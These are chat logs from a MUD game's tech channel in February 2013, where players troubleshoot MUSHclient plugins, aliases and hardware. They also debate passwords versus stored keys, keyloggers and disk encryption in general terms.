T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: BobTheGreat nods.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (that is everything between <script> </script>)
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Getsuko Tech: anyone know how to fix the "Unable to create save state file" problem?  Seems to be caused by standard miniwin plugins...
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Vonliege Tech: anyone using an ipad?
T3/r7/2013-02-18.txt.gz:{chan ch=tech}Tech: GreenAcid falls down laughing.
T3/r7/2013-02-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Getsuko: put the mushclient folder somewhere you have write access (not in Program Files)
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: anyone have this channel on?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Mokg Tech: ask your question
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: go easy on me, but this much client thing seems a bit like reinventing the wheel...
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: i just want to make a simple alias, and i cant get it done...
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Mokg Tech: ask the question already
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: how do i make a mush verson of zmud/tintin's #alias xx {get %1 bag
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: how do i make a mush verson of zmud/tintin's #alias xx {get %1 bag:
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Mokg Tech: #alias {gb *} {get %1 bag}
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: lol NOW the seperaton works
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chembryl Tech: <- dumb as a rock. back to zmud i go *bleeeeeh*
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Kelvar Tech: whats the mud command to set the screen length to 24?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Kelvar Tech: vakieh?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Elchanan Tech: ok why is zmud sending what i type to my capture window
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Elchanan Tech: using zmud
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Hypnotic Tech: on
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Taralujan Tech: i keep getting a popup that says unable to save plugin state or something like that .  any clues ?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Redryn Tech: read/write permissions problem maybe
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Taralujan Tech: ill try moving the directoy from documents to ddownload and see 
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: anyone knwo if it's possible to capture echos in communication log in mush?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Download aard mush.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: I don't have echos captured there though, just general channels
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Oh, I see what you're asking.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Jhav Tech: either 'echo INFO: <blah>' or use the ... storeFromOutside? method.  Too lazy to look up the exact name.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That won't work, Jhav
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Channel logs come from gmcp
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: in the aard mush
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Jhav Tech: It does work.  The comm log looks for several things that don't come with gmcp - info being one of them.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Interesting..
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: should try that :)
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: thanks
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Kelvar Tech: anyone knows why whenever i type help <something> if the help page has more than 1 page, it drops all the pages at once, without the " per page" thingie?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Trachx Tech: pagesize
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: Anyone familier with the TI-80's calculators
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: depends what you mean by familier
T3/r7/2013-02-19.txt.gz:{chan ch=tech}CeriQ Tech: I used to use one to cheat at tests, but other than that, not really.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: cant remember how to lighten the screen, put new batteries in and the screen is dimmed down cant see the numbers
T3/r7/2013-02-19.txt.gz:{chan ch=tech}CeriQ Tech: or maybe that was an 83..
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: this one is a 85
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: push 2nd then up and down arrows
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: do that multiple times
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: i did, isnt doing anything.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Eutychus Tech: What's the model number
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: TI-85
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: i dont think its the numbers thats the issue, the whole screen is dark blue 
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ashiya Tech: did you do it more than once? should be 2nd and down
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: so.. i cant see the numbers, i think 2nd up down is for the numbers
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: http://www.ehow.com/how_8370482_lighten-texas-instruments-ti85-calculator.html
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Eutychus Tech: Yeah, should be 2nd and ^ or v
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Eutychus Tech: Depending on dimming or brightening
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Myopic Tech: will someone please take over my tech support duties to my mother !!??? uhg
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: we all will...just teach her how to connect to aard
T3/r7/2013-02-19.txt.gz:{chan ch=tech}McLowery Tech: Just curious, do you look like this kid http://www.quickmeme.com/Family-Tech-Support-Guy/popular/1/ 0.o
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Myopic Tech: I better make log in one big no option button in the center of the screen
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Myopic Tech: McLowery yep that's about right. 12 mile trip to push "connect to wifi"
T3/r7/2013-02-19.txt.gz:{chan ch=tech}McLowery Tech: lol I love those memes 
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: love my family. only get called when something is really broken
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and i make everyone else pay. except when they sleep with me
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ontuct Tech: does anyone using ww spellup know if there is a way to temporarily disable just hide/invis it is a pain after strangle, yet I don't want to disable all of them.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Chimeishio Tech: noauto <spell number>
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ontuct Tech: that'll work, but now the pressure is on me to remember to turn them back on later :p I want easy and effortless i guess.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Darred Tech: stupid mush question time
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Darred Tech: say i want to make a simple trigger (quest time reminder)... how do?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: you can make a sound trig off the You can now Quest again echo
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Betrayal Tech: windows question..if i were to task someone to write a windows application..what would be an easy but powerful language
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Betrayal Tech: windows application= a window with some options and io and writing to a sql table
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: no clue but first class of beg prog got me learning visual basic
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Betrayal Tech: .net was my first thought
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: okay, im dumb, i downloaded search/destroy, the help files are there, all thats fine, but i no actual map screen
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Vakieh Tech: snd doesn't create the map screen
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: did you load the plugins?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: search and destroy has no map of its own, it just uses aardmush's mapper
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Remarto Tech: map is created by GMCP mapper if i remember correctly
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: yep.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: I just did mapper hide and it took away the map that came with aard mush
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: is that correct?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: that's the mapper
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: that works with search?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: so why would you hide it?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: that's how search works
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: search has no mapper
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Loshai Tech: i was just making sure thats what it was
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: if i tell my mapper to open 1 direction will it automatically add the reverse?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Vakieh Tech: no
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Rondel Tech: thanks
T3/r7/2013-02-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: why would it?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Tech: there really aren't 2-way doors, there are sets of 1-way doors...you'll find that lots of doors require a key only in one direction, or even require a different key for each side
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Hanslanda Tech: or that one way has a door and the other doesn't.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or that one way has a door and one way forces you to quit clubs you and then steals all your stuff
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Cherylpantz Tech: Why won't this computer I just bought recognize the SSD I tried to add? Do I need to do something more than plug in the sata3/power cables? Can't find it in BIOS either
T3/r7/2013-02-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sata should just be plug in and work
T3/r7/2013-02-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suppose there could be some sort of firmware bug. See if the computer has any bios update?
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Cherylpantz Tech: Hmm I can see it in device manager now. Not sure what happened but thanks, fiendish.
T3/r7/2013-02-19.txt.gz:{chan ch=tech}Ranrr Tech: Is breaking DRM still illegal in the US?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to pass something with onchange to JS when i do an alert(var) it gives me [object HTMLInputElement] ... anyone know how to fix it so that it passes correctly?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: figured it out changed it to this.value
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mokg Tech: is there a way to cancel a sound file from playing in mush?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mokg Tech: just set a trigger to play a 6 minute song. I want it to stop :(
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: i think you have to use playsound, then makesomething else playsound over the same track
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: um... dont have the trigger play a sound that long
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mokg Tech: was the first .wav file I found
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: http://www.mushclient.com/scripts/function.php?name=PlaySound
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: oh there's a stopsound function
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: there is a beep that comes with the mushclient from the aard site
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mokg Tech: got it, thx!
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tepeyollotl Tech: Is there a thread or something like it to help with making the gq list clickable like the cp list is in winkle's s&d in MUSH? 
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: shouldnt need to make it clickable for gquests
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: It is not clickable in gqs for a reason...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at Vakieh, in complete agreement.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tepeyollotl Tech: The reason being?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: botting effectivly
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: general dislike of people scripting gqs
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tepeyollotl Tech: I don't understand what you mean.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Ophelion Tech: the higher tiers dont want the competion.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: that to
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: No, it's possible to participate in GQs without scripts.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Winning is another thing, but you can surely compete.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: it is but you probably wont win any low lvl gquests
T3/r7/2013-02-20.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: how come my alias for map_goto is broken?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: tiers don't help with low-level GQs
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Ophelion Tech: have to set it to "execute"
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: it's the high-level ones where killspeed matters
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: Sit like a Trurien nods at you in agreement.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tepeyollotl Tech: If I am understanding what you mean by scripts, then that is what i have been doing, and getting close in some, just was trying to get a little faster is all.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: Ophelion laughs out loud at you.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: if you wish to get faster, then learn the game and get better
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: don't dope like lance
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tepeyollotl Tech: lol, that's what i have been trying to do. :)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Ophelion Tech: a level 1 teir 8 vs a level 1 t0, there isn't any difference??? HAA one can wear 80 level eq while the other can't. how's that fair.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Riddim Tech: Ophelion, at low levels, it doesn't matter.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: doesn't matter in a lvl 1 gq
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: ophelion: at low-level ones, correct, there is no difference
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: both can one-shot the kills
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Riddim Tech: portal access may help a bit though ,but not tons
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Ophelion Tech: funny, i'm not onshoting them. and i was level 1.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: then your equipment sucks
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Riddim Tech: Then get better gear :)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: cos your eq sucks
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Riddim Tech: And don't sit at level 1 if you want to be strong :D
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: i oneshot lv 1 mobs easily enough when i was t0 lvl 1
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Uphill, both ways, in the snow.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Rusk Tech: carring 100lb
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: you grew up in america? that's gotta be worse than the snow
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: Redryn runs away in utter terror!
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Rusk Tech: forgot to mention that did it on snowmobile, so was easy
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Really, Yahoo?  A 16-character password is too weak for you to let me use it?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: Leinei sighs.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: rofl
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Daloran Tech: if it was 0123456789abcdef then yes =p
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: All numbers, but still...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: if it was 1111111111111111 its not gonna accept :P
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Daloran Tech: Thats the same combination as my liggage!
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Evidently, length doesn't factor in at all into their "password strength"
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: it probably does
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: a 32 character password using all lowercase letters is too weak
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: but they also check to see if its not all 1 type of character
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: a 6 character password using a lowercase letter, an uppercase letter, and a number is "very strong"
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: As xkcd has taught us, password requirements have become easier for computers to guess, harder for people to remember
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Daloran Tech: correct horse battery staple
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: eventually psswords will need to be entered in with computer programs....
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Hmmm. Assuming that your computer is safe, passwords are obsolete. Assuming that your computer is not safe, passwords provide only a weak protection )= Does anyone have a good solution?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Remarto Tech: dna lock?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Someone doesn't need access to your computer to brute-force a password
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Yeah, that's why they're obsolete. For remote logins, super-duper-long keys might be used instead, with minimal hassle.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Only takes a couple of extra characters to turn an hour-long brute force into a century-long one
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: You still need to remember them.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: If you're at your own computer, and it is safe, then you don't truly need passwords, as keys are simpler to use and more secure.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: I guess I'm not sure what you mean by them being obsolete.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: If you're not at your own computer, or if it is not safe, then passwords can be snooped/keylogged.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Mmm.. Did the point make it across?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Cizra, passwords being obsolete in terms of tech hardly means they will be obsolete in terms of customer adoption rates
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Well, a password like 80zhaltlikestodancewithahorseintheSunset is very hard for a computer to guess, but I would not have too much problem remembering it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Zhalt, but this password can be snooped/keylogged at an insecure/foreign computer. And it's uselessly complicated at your own computer, assuming it's secure.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: By "key", you mean something that changes ocassionally, and would be shown to the user by some piece of hardware that's not on the computer?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: It can be arbitrarily long and complex, it matters not at all when keylogging.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Keylogging breaches all forms of password OR key protection
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Leinei, not necessarily. It can remain unchanged for a thousand years if it's long enough and never leaks out.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Sonshi Tech: an otp can be used for the most secure stuff...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Then what's the difference between a key and a password?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Vakieh, obviously. If you can install keylogger, then you can also copy the keys out. That's why I assume an "own, secure" computer.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Be like saying 'oh, that isn't secure because what if someone held a gun to your head and made you log in' - correct, and we know that, but you need to look at a cost<->benefit scale first
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Leinei, for me, a key is a huge binary blob that nobody would ever remember nor guess. Just too big for that. 
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Vakieh, could you please elaborate on the similarity? I don't see it.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Cost-benefit scale? Well, having your computer remember your keys for you would be 100% beneficial (easy, automatic).
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Shrugs, I know my bank account number, credit card number, and security code.  That's like 40+ characters.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: A keylogger will breach all appropriately convenient forms of logging in. As will holding a gun to someone's head. It is not appropriate to mitigate against either instance for the ordinary uses we are discussing here.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Want to discuss DoD highest levels of protection, with duress protocols and physical hardware keys, with a mid-network human layer? Then we can talk about when keyloggers should be mitigated :D
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: I don't know my SSH keys. I think the default is 1024 bits for SSH keys, which is equivalent to much more than 128 characters (as they can be any bytes). Much harder to guess anyway.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Most passwords are not encoded in single byte char formats...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: It's excessively hard to guess.  Doesn't take anywhere near that amount of characters to get something that's impossible to brute force.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: I'm not competent to talk about DoD highest levels of whatever, but a keylogger can only be installed on a not-your-own or insecure computer. And in that case, you're kind of fucked anyway.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Who says a keylogger can't be installed on your own PC?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: My point is that a 15 character password with numbers, letters, and symbols is just as secure as a 200 character key.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: I say. It must be a basic assumption. If anyone can install anything in your computer, you're fucked.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: At least, until we get quantum computing
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Leinei, as long as it won't get keylogged. Or stored in an insecure manner on the server you're typing it into.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: But doesn't a key have those same restrictions/assumptions?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Keys never leave the computer, they're only used in calculations. Passwords always leave the computer and you never know who's MitMing you or whatever.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: They can - people make install decisions based on trust all the time - nobody looks through the machine code of every piece of software they install
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: And that isn't to mention piggybacking on installs, Java or w/e is the flavour of the day security windows, etc
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Vakieh, big companies have a reputation to uphold. As do Linux distros. I consider it rather unlikely to get crapware from a reputable Linux distro, or malicious software from Microsoft or Apple.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: You can monitor, and you can be careful, but at the end of the day, ALL systems can be penetrated
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Unfortunately, I must agree )=
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: I'm not saying it would be wilful, but if someone dealing with distribution in M$ or running a github of some populare software decided to attach a keylogger onto the install? Sure, he'd be found out eventually, but in the meantime your passwords, keys, etc are his
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: So, uh, assuming your computer gets compromised, keys will leak out, and passwords have the potential to be sniffed. Not much security left, unless you use some kind of nifty hardware.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Exactly - which is why you have to take a cost-benefit approach
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: there were several cases of poisoning source code
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Trachx, how and by whom? By the distributer of the code? Or by some third party?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: I can mitigate brute force and casual hacking by using a password which is of a certain length, is not my username, is not my DOB, etc - easy, simple stuff for the highest benefit
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: third party, but it really doesn't matter who did it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Yeah, the damage is the same...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Popa Tech: There was a minecraft server plugin a few years back that the guy left himself backdoor access into. Gave him root/running user on the server. He never did anything bad with it, but flexed his muscles with it a few times.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: It actually comes down to the same concepts as economics - the amount of effort you put into security should be where the marginal benefit equals the marginal cost.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Vakieh, that's incoming attack. Can you propose a scenario (any scenario, really) where remembered passwords are more secure that stored keys?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: More secure? No. But why would I block myself off from accessing my email when at a friend's house?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: passwords are more secure comparing to non protected keys
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: in case that someone has physical access to storage
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Or if my company needed me to SSH in to fix a something something while out somewhere away from access to my usual work machine?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Oh, that'd be silly, Vakieh. Some sort of non-home login should remain, but it might be made more difficult -- like SMS verification or something.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Trachx, depends on when and how etc. If you happened to follow the conversation, then you noticed hopefully that I assume my computer is secure.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: In this instance there is a marginal benefit to the use of SSH - higher brute force security. But the marginal costs (such as the development of an entire second tier of security) is higher, and it is thus not worth it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: use of keys, rather
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: As an aside, what you are suggesting is also that when someone robs your house and nabs your computer, they gain free access to all of your PI and bank accounts
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: if your computer is safe that leaves 2 possibilities: MitM and not secure target host, anyway keys are safer in case your computer secure (or just you have secure store)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: for bank accounts you should choose that ones are protected by RSA tokens
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Hmm, yeah... But this boils down to securing your computer. Hard disk encryption OSLT ought to get standard.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: probably in few years SED (self encrypting) drives will increase they market share
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: The US gov is fighting the use of non-backdoorable drive solutions...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: even for DES it is still debatable whether is can be decrypted by third party or not (I mean not brute force, but some clever way)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: You can use almost-whole-disk-encryption rather easily, I think? Something with boot loader being unsecured and the rest is encrypted.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: DES? The one with 56-bit keys, considered insecure for like 30 years already?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: DES is prone to brute force, but when it was chosen to be widely used it was considered quite secure
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Chroseph Tech: that's why 3DES and AES were never invented
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Moore's Law means no encryption with a brute force 'not for xxx timeframe' defence is futureproof
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: yes and no, you cannot use as primary with any non 0 weight weapon
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: mis
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: usually it is enough just to be more secure than others
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: That all depends on whether what you have is better than everyone else
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: I mean that others are easier target in such case
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Well, anyway. You can encrypt your drive, use only software from official repos.. Hmm, is there a screensaver-based auto-HD-lock?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: The Bear Chase defence works for the average home or office PC, but gov and top tier tech don't have that luxury. As their crypto becomes obsolete though, it hits the mainstream market, so that's good
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Bear Chase
